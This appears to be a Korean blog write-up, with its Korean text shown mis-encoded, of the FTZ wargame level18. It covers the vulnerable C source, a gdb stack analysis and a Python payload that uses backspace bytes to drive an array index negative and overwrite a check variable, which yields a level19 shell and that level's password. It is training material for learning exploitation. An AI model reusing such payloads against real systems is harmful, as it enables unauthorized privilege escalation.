[FTZ] level18 ํ์ด
๐ก FTZ level18 ํ์ด
๋ฌธ์
๊ณ์ : level18/why did you do it
hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
ํ์ด
์ด๋ฒ ๋ฌธ์ ๋ ํน์ดํ๊ฒ string ๋ณ์๊ฐ ๊ฐ์ฅ ๋จผ์ ์ ์ธ๋์ด ์์ต๋๋ค. ๋๋ต์ ์ผ๋ก ์คํ์ ๊ทธ๋ ค๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
string[100]
check
x
count
...
์ด๋ ๊ฒ ์คํ์ด ๊ตฌ์ฑ๋๋ฉด ์ผ๋ฐ์ ์ผ๋ก๋ string์ ์ฐ๊ธฐ๋ง ํด์๋ ๋ค๋ฅธ ๋ณ์๋ฅผ ๋ฎ์ ์๊ฐ ์์ต๋๋ค. ํ์ง๋ง ์ด๋ฒ ๋ฌธ์ ์์๋ string์ ์ธ๋ฑ์ฑ์ count ๋ณ์๋ก ํ๋ฉฐ, ์ด count ๋ณ์๊ฐ ์์๊ฐ ๋ ์ ์๋ค๋ ์ ์ด ํฌ์ธํธ์ ๋๋ค.
์ฆ count = -4 ์ผ๋, string[count]๋ก ์ ๊ทผํ๋ฉด check๋ฅผ ํฌํจํ ๋ค๋ฅธ ๋ณ์๋ค์ ์ ๊ทผ์ด ๊ฐ๋ฅํด ์ง๋๋ค.
gdb๋ก ๋จผ์ ์คํ์ ๋ถ์ํฉ๋๋ค.
[level18@ftz level18]$ gdb -q attackme
(no debugging symbols found)...(gdb)
(gdb)
(gdb) set disas intel
(gdb) disass main
Dump of assembler code for function main:
0x08048550 <main+0>: push ebp
0x08048551 <main+1>: mov ebp,esp
0x08048553 <main+3>: sub esp,0x100
0x08048559 <main+9>: push edi
0x0804855a <main+10>: push esi
0x0804855b <main+11>: push ebx
0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0 //x=0
0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0 //count =0
0x0804856a <main+26>: push 0x8048800
0x0804856f <main+31>: call 0x8048470 <printf>
0x08048574 <main+36>: add esp,0x4
0x08048577 <main+39>: mov eax,ds:0x804993c
0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax
0x08048582 <main+50>: mov ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>: push ecx
0x08048589 <main+57>: call 0x8048430 <fflush>
0x0804858e <main+62>: add esp,0x4
0x08048591 <main+65>: jmp 0x8048598 <main+72>
0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63 // count<100 ๋น๊ต
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
0x080485a3 <main+83>: call 0x8048470 <printf>
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef // check = 0xdeadbeef ๋น๊ต
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
0x080485b9 <main+105>: jmp 0x8048770 <main+544>
0x080485be <main+110>: mov esi,esi
0x080485c0 <main+112>: lea edi,[ebp-240]
... ์๋ต
์์ ๋ณ์๋ค์ ๋ณด๋ฉด ์คํ์ด ๋ค์๊ณผ ๊ฐ๋ค๋ ๊ฑธ ์ ์ ์์ต๋๋ค.
string (100byte) // ebp-100
check (4byte) // ebp-104
x (4byte) // ebp-108
count (4byte) // ebp-112
๋ฐ๋ผ์ count ๊ฐ์ -4๋ก ๋ง๋ค์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ๋ฉด, check ๋ณ์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ฝ๋๋ฅผ ๋ณด๋ฉด โ\x08โ์ผ๋ count๊ฐ 1์ฉ ๊ฐ์ํ๋ฏ๋ก โ\x08โ์ 4๋ฒ ์ ๋ ฅํ ๋ค์, check๊ฐ์ ๋ฃ์ด์ฃผ๋ฉด ๋ฉ๋๋ค.
[level18@ftz level18]$ (python -c 'print("\x08"*4 + "\xef\xbe\xad\xde")';cat) | ./attackme
Enter your command:
id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
my-pass
Level19 Password is "swimming in pink".
์์ ํ๋ํ์ต๋๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ